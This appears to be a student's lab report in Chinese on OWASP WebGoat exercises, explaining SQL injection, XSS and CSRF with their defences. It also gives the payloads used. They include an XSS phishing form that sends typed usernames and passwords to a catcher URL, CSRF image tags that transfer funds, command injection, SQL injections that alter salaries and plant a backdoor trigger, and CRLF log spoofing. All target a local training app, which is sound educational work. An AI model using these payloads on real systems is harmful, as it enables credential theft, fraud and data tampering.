20155202《網絡對抗》Exp9 web安全基礎實踐
實驗前回答問題
(1)SQL注入攻擊原理,如何防御
SQL注入產生的原因,和棧溢出、XSS等很多其他的攻擊方法類似,就是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。針對于SQL注入,則是用戶提交的數據,被數據庫系統編譯而產生了開發者預期之外的動作。也就是,SQL注入是用戶輸入的數據,在拼接SQL語句的過程中,超越了數據本身,成為了SQL語句查詢邏輯的一部分,然后這樣被拼接出來的SQL語句被數據庫執行,產生了開發者預期之外的動作。
解決辦法
從根本上防止上述類型攻擊的手段,還是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來說,被執行的惡意代碼是通過數據庫的SQL解釋引擎編譯得到的,所以只要避免用戶輸入的數據被數據庫系統編譯就可以了。
(2)XSS攻擊的原理,如何防御
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列
表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實
施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨
大的,是web安全的頭號大敵解決方法
- 一種方法是在表單提交或者url參數傳遞前,對需要的參數進行過濾.
過濾用戶輸入的 檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、”(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。、嚴格控制輸出
(3)CSRF攻擊原理,如何防御
CSRF概念:CSRF跨站點請求偽造(Cross—Site Request Forgery),跟XSS攻擊一樣,存在巨大的危害性,你可以這樣來理解:
攻擊者盜用了a的身份,以a的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以a的名義發送郵件、發消息,盜取a的賬號,添加系統管理員,甚至于購買商品、虛擬貨幣轉賬等。解決辦法:
目前防御 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 并驗證;在 HTTP 頭中自定義屬性并驗證。
WebGoat進行實驗
WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML注釋等等。WebGoat提供了一系列web安全學習的教程.接下來就來配置webgoat。
- 但是非常不幸,我安裝webgoat時候問題百出,不知道為什么,我的jdk正常,java可以運行
- 本以為是jar包的問題,按照網上教程將MANIFEST里:后加了空格,發現沒卵子用
- 下載了不同版本的webgoat-jar文件進行安裝,
- 無濟于事
- 最后只能拷老師的虛擬機進行實驗(不想再在配置電腦上耗費時間了)
- emmm,very good
- WebGoat使用8080端口,在瀏覽器上訪問
localhost:8080/WebGoat
,進入WebGoat。
練習題目:
1.Phishing with XSS (網路釣魚)
2.Stored XSS Attacks (存儲型xss攻擊)
3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)
4.Cross Site Request Forgery
5.CSRF Prompt By-Pass
6.Command Injection
7.Numeric SQL Injection
8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
9.Database Backdoors
10.Log Spoofing
XSS練習
1.Phishing with XSS (網路釣魚)
- 本題要在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,并且將這些信息發送給http://localhost:8080/那一段,完整的XSS攻擊代碼如下:
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中輸入攻擊代碼后點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:
- 然后隨便填一下,提交
- 這就是傳數據回來了,攻擊成功
2.Stored XSS Attacks (存儲型xss攻擊)
這個就有點弱雞了,創建非法的消息內容,導致其他用戶訪問時載入非預期的頁面或內容,這個和實驗八里面差不多,就message中輸入一串代碼比如<script>alert("you have been died");</script>
,然后提交后就蹦出來代碼了3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)
- 當輸入錯誤用戶信息后,服務器校驗輸入有誤,返回錯誤頁面并將錯誤內容展示,比如下面這個購物車:
- 這時如果我們將帶有攻擊性的URL作為輸入源,在zx那里輸入
<script>alert("lalala");</script>
,就會彈出對話框:
第2個和第3個效果相同但是原理不同
存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。
反射型XSS,非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
點擊彈出自己的在該網站的cookie:
CSRF攻擊
4.Cross Site Request Forgery
- 目的:寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
- 在message框中輸入代碼:
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
,其中Screen和menu在當前頁面的右邊Parameters進行查看: - 提交后,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。
5.CSRF Prompt By-Pass
- 包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)
先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100進入確認轉賬請求頁面
- 轉賬請求
- 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功轉走了100元: - 確認轉賬成功
Injection Flaws訓練
6.Command Injection
- 在目標主機上執行系統命令,通過火狐瀏覽器下的Firebug對源代碼進行修改,在BackDoors.help旁邊加上"& netstat -an & ipconfig":
- 之后在下拉菜單中能看到修改后的值
- 選中修改后的值再點view,出現系統網絡連接情況:
7.Numeric SQL Injection
- 通過注入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到目的,在任意一個值比如101旁邊加上
or 1=1
: - 選中Columbia,點Go,可以看到所有天氣數據
LAB:SQL Injection(Stage 1:String SQL Injection)
- 先以用戶Neville登錄,在密碼欄中輸入
' or 1=1 --
進行SQL注入,登錄失敗: - 到源代碼里尋找原因,發現最大鍵入值有問題,就八位,太小了,改成30位
- 再退出,重新登錄,成功
8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
先以用戶名Larry登錄,登錄之后看到瀏覽員工信息的按鈕是ViewProfile:
在網頁代碼中分析這個按鈕,發現這個地方是以員工ID作為索引傳遞參數的,我們要達到通過Larry來瀏覽老板賬戶信息的目的,老板的工資都應該是最高的,所以把其中的value值改為
101 or 1=1 order by salary desc --
,這樣老板的信息就會被排到第一個:- 重新登錄可以查看到老板的信息:
9.Database Backdoors
- 先輸101,得到了該用戶的信息:
- 發現輸入的語句沒有驗證,可以進行SQL注入,輸入注入語句:
101; update employee set salary=200000
- 攻擊成功
- 注入
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
表中一旦添加新用戶那么就在用戶表里將新用戶的郵箱改為我設置的郵箱。
10.Log Spoofing
- 輸入的用戶名會被追加到日志文件中,所以我們可以使用障眼法來使用戶名為“admin”的用戶在日志中顯示“成功登錄”,在User Name文本框中輸入
zx%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符: - 攻擊成功
實驗體會
- 這次實驗我webgoat安裝不上就很難受,最難受的應該是這個:寫了一晚上博客最后想Ctrl A,Ctrl C到有道云失手成了Ctrl V,然后發現博客園后臺沒有Ctrl Z
- 這篇博客是在誤刪后重新寫的,有些地方描述不是很準確,寫的比較急了第二次。
這次實驗通過使用webgoat做了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區分和理解,讓我對我們這些菜雞編出來的代碼極度的否定態度,沒有找不出來的漏洞,所以在信息安全這條道路上好好的體會琢磨吧,道阻且艱!